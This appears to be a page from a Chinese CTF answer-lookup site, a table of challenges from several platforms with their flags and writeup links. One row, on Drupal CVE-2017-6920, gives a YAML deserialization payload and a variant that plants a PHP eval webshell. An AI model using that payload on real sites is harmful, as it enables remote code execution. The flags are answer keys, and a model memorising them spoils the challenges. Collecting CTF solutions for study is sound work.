[标题搜索]只能搜索题目标题，[综合搜索]支持多关键词多项目搜索（以空格分隔）。
| 序号 | Website | Type | Title | Value | Writeup | Competition | Id |
|---|---|---|---|---|---|---|---|
| 1 | ctfshow | WEB入门.php特性 | web127 | 题目答案文本 | 验证后的网址 ctf show=ilove36d |... | php特性 | 3382 |
| 2 | vulfocus | WEB | showdoc 文件上传 （cnvd-2020-26585） | - | 登录 https://vulfocus.cn 搜索showdoc... | - | 16485 |
| 3 | vulfocus | WEB | Spring 目录遍历 （CVE-2020-5410 ） | - | 登录 https://vulfocus.cn 搜索Spring... | - | 16877 |
| 4 | bugku | MISC | canyoufindme | canyoufindme | https://blog.csdn.net/God_of_fear/art... | bugku | 2930 |
| 5 | 春秋云境 | WEB | CVE-2017-6920 | Drupal版本小于8.3.4时，可通过在后台配置导入处提交YAML反序列化Payload实现远程代码执行。典型的验证Payload为：!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"，导入后执行phpinfo函数即证明漏洞存在 1。在CTF题目中，常利用该反序列化链写入Webshell，例如使用自定义类：!php/object O:3:"log":2:{s:8:"filename";s:5:"1.php";s:7:"content";s:24:"<?php eval($_POST [1](@ref));?>";}。 | https://www.cnblogs.com/J1eula/p/1769... | 春秋云境 | 14748 |
| 6 | NSSCTF | LCG | [0x41414141 2021]Delegate-wallet | flag{NBD_7H3Y_U53D_0ffsh1ft4532} | https://ctftime.org/writeup/25877 | 0x41414141 | 13380 |
| 7 | bugku | Reverse | ez_rev | NCTF2022{ez_rev_通过四位字符爆破解密} | https://www.cnblogs.com/wgf4242/p/169... | NCTF2022 | 655 |
| 8 | bugku | MISC | Sniffed Traffic | SEE{w1r35haRk_d0dod0_4c87be4cd5e37eb1e9a676e110fe59e3} | https://ctftime.org/writeup/34285 | SEETF2022 | 1847 |
| 9 | BUUCTF | Misc | [DASCTF X HDCTF 2024 公开赛｜生而无畏战]谐乐大典 | DASCTF{1s_MC_the_best_PUZZLE_GAM3?} | https://www.cnblogs.com/Guanz/p/18229... | DASCTF X HDCTF 2024 公开赛｜生而无畏战 | 6450 |
| 10 | BUUCTF | Misc | [INSHack2019]Lit FAM - Part A | INShAck{LIT_manipulation_is_NOT_ELECTRONIC} | https://ctftime.org/writeup/15284 | INSHack2019 | 6937 |